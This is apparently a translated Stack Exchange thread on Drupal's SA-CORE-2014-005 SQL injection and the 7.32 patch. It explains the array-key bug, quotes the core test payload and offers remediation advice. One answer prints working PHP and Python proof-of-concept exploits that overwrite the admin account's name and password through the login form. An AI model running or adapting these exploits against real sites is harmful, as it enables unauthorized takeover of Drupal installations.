Que tipo de ataques o patch para o SA-CORE-2014-005 (Drupal 7.32) impede?

33

Leia em https://www.drupal.org/node/2357241 e os detalhes técnicos em https://www.drupal.org/SA-CORE-2014-005 , bem como o patch atual que é simplesmente:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Eu estou querendo saber que tipo de solicitação poderia ser feita que utiliza essa exploração?

Charlie Schliesser
fonte
Podemos fazer diretamente a mudança no núcleo? database.incArquivo ?
Hitesh
@hitesh, você pode simplesmente corrigir database.inco patch acima (ou manualmente, essa é uma pequena alteração, obviamente), mas eu também recomendo corrigir o Drupal do seu núcleo por completo.
Charlie Schliesser
1
Para aqueles que não se perguntam quais solicitações explorariam o bug, mas qual é realmente o bug, publiquei uma explicação no Programmers.SE .
RomanSt
Mesmo após a atualização, alguém ainda pode colocar arquivos .php nos meus sites. Também verifiquei o menu_router - nada suspeito. Já corri auditoria local e drupalgetaddon também
AgA

Respostas:

18

A empresa que encontrou o bug possui alguns exemplos no Comunicado 01/2014: Drupal - Vulnerabilidade de injeção SQL pré-autenticação :

Extrair:

A função assume que é chamada com uma matriz que não possui chaves. Exemplo:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

O que resulta nesta instrução SQL

SELECT * from users where name IN (:name_0, :name_1)

com os parâmetros name_0 = user1e name_1 = user2.

O problema ocorre, se a matriz tiver chaves, que não são inteiros. Exemplo:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

isso resulta em uma consulta SQL explorável:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

com parâmetros: name_test = user2.

Como o Drupal usa o DOP, várias consultas são permitidas. Portanto, essa injeção de SQL pode ser usada para inserir dados arbitrários no banco de dados, despejar ou modificar dados existentes ou descartar o banco de dados inteiro.

Com a possibilidade de INSERIR dados arbitrários no banco de dados, um invasor pode executar qualquer código PHP através dos recursos do Drupal com retornos de chamada.

Hans Rossel
fonte
Obrigado por compartilhar, não consegui encontrar isso pesquisando sobre o tópico. The Problem occurs, if the array has keys, which are no integers- esta e a consulta de exemplo são bastante úteis para entender isso.
Charlie Schliesser 15/10
19

O que está acontecendo com 7.32 Verificando o módulo de teste. Você pode ver o seguinte teste foi adicionado a 7,32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Isso deve fornecer mais informações sobre como criar um ataque.

Prova de conceito Uma vez que se passou mais do que tempo suficiente e existem muitos PoCs em estado selvagem.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Aqui está um blog que faz um bom detalhamento: http://www.volexity.com/blog/?p=83

Fogo digital
fonte
Isso POC não trabalho ....
Kyle Browning
Você pode postar um POC com o qual um hacker pode substituir $ data por array_values ​​($ data) em database.inc?
Hans Rossel
Posso confirmar que isso funcionou com um site Drupal de baunilha. Isso é lamentável ...
AyeshK
Como a @greggles disse que isso é um pouco cedo, nem todos receberam o memorando ainda. Por favor, contenha.
pal4life
Pergunta - é o "? Q =" necessário para fazer esse ataque funcionar? acontece que meu servidor descarta solicitações com um argumento get de q (ou Q ou equivalentes codificados em%). Apenas curioso. Corrigimos um tempo atrás e não vimos sinais de intrusão nem nada, mas estou me perguntando se tivemos sorte com a rejeição de pedidos de q =?
Kasapo
16

Os pesquisadores que encontraram o bug têm uma prova de conceito. Outros também desenvolveram provas de conceito. No entanto, eles propositalmente não os estão postando para tentar reduzir a probabilidade de que seja amplamente explorado. Devemos respeitar essa pesquisa e restrição e não publicar exemplos aqui.

Depois de algum tempo e os sites forem atualizados, será muito interessante, do ponto de vista acadêmico, revisar o código de ataque de prova de conceito. Até então, é um risco desnecessário e chame atenção.

O código no aviso do SektioinEins não são exemplos totalmente desenvolvidos de como explorá-lo. Eles detalham a fraqueza, mas não identificam exatamente como realmente explorar o problema.


Já se passaram algumas semanas desde o lançamento do problema e o SektionEins publicou várias provas de conceitos em seu blog . Estes são bastante interessantes em comparação com muitas das outras provas de conceito que foram desenvolvidas desde que deixam muito poucos traços de sua atividade (por exemplo, nada na tabela menu_router).

greggles
fonte
4

Posso confirmar que essa vulnerabilidade funcionará com todos os sites Drupal 7.31 e inferiores, não importa quais módulos estejam ativos. Todas as formas drupais podem ser usadas para explorar essa vulnerabilidade.

A exploração é bastante simples, portanto o PoC já está disponível. Consegui atacar o próprio servidor e alterar as senhas de usuário como usuário anônimo na instalação limpa do Drupal, mas as possibilidades são infinitas.

Esse bug era conhecido há quase 1 ano via https://www.drupal.org/node/2146839, mas ninguém da equipe do Drupal Core Security Team respondeu.

Pari
fonte
Não foi relatado como um problema de segurança, foi?
Alfred Armstrong
Foi marcado com "#security", uma prioridade de "major", um status de "review needs" e incluiu um patch que basicamente alcança o que o patch no 7.32 faz. Talvez a questão #da "segurança" tenha impedido alguém de ver o que de outra forma teria, ou talvez haja muitos problemas na fila. Ainda é surpreendente que ninguém tenha respondido.
Charlie Schliesser
3
Não foi relatado como um problema de segurança; portanto, provavelmente a equipe de segurança não o viu. Mas sim, o cara não tinha certeza de que era um problema de segurança, provavelmente por isso.
Berend de Boer
2
Foi relatado como uma "solicitação de recurso", nem como um bug. Novos recursos não são aceitos na versão estável do núcleo do Drupal, portanto é normal que não seja analisado. Os problemas de segurança nunca devem ser publicados publicamente, há uma página clara de como relatar problemas de segurança do Drupal para a equipe de segurança: drupal.org/node/101494
Hans Rossel
4

Gostaria de saber como isso poderia ser explorado e quanto tempo e esforço levaria? Por isso, decidi instalar a versão mais antiga do Drupal 7 no meu host local e fazer a engenharia reversa desse bug. O que descobri foi um bug chocante que dá a qualquer pessoa com conhecimento básico sobre HTML / SQL um acesso completo ao seu site Drupal.

Consegui executar a injeção de SQL no Drupal 7 usando usuário anônimo em menos de 30 minutos de tentativa!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOTA: Isso ainda não permitirá que você faça o login, já que o Drupal usa o SHA512 com salt, portanto, não é possível fazer o login. Intencionalmente, não coloquei o código aqui, mas obviamente qualquer pessoa com pouco conhecimento em Drupal saberá como superar isso e construir a consulta que lhe dará acesso total!

Isso abre uma questão sobre a segurança do Drupal e de quem é responsável por algo assim. Aparentemente, esse bug era conhecido há mais de um ano ( https://www.drupal.org/node/2146839 ), mas ninguém reagiu ao Drupal.org. Acidental ou intencionalmente? :)

tamerzg
fonte
1

É uma correção de uma vulnerabilidade de injeção SQL em que instruções SQL mal-intencionadas são inseridas em um campo de entrada para execução e podem levar, por exemplo, a liberação do conteúdo do banco de dados. É importante aplicar essa correção o mais rápido possível, principalmente porque essa vulnerabilidade pode ser explorada por usuários anônimos.

Se você não puder atualizar imediatamente a equipe de segurança, poderá aplicar esse patch que fornecerá a mesma proteção até que você possa fazer a atualização completa 1 . Além disso, a equipe de segurança preparou algumas Perguntas frequentes relacionadas a esse problema. Colocar o site em modo de manutenção não ajudará e limpe o cache após aplicar a atualização ou verifique se você está usando 7.32.

Além disso, você deve verificar se o seu site não foi comprometido. Alguns sites já relatam problemas. Aqui está uma postagem de blog que sugere como verificar a atualização para o Drupal 7.32 não é suficiente; seu site já pode estar hackeado

Aplico a correção em 15 de outubro e meus sites já relataram alguém tentando explorar a vulnerabilidade

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
cayerdis
fonte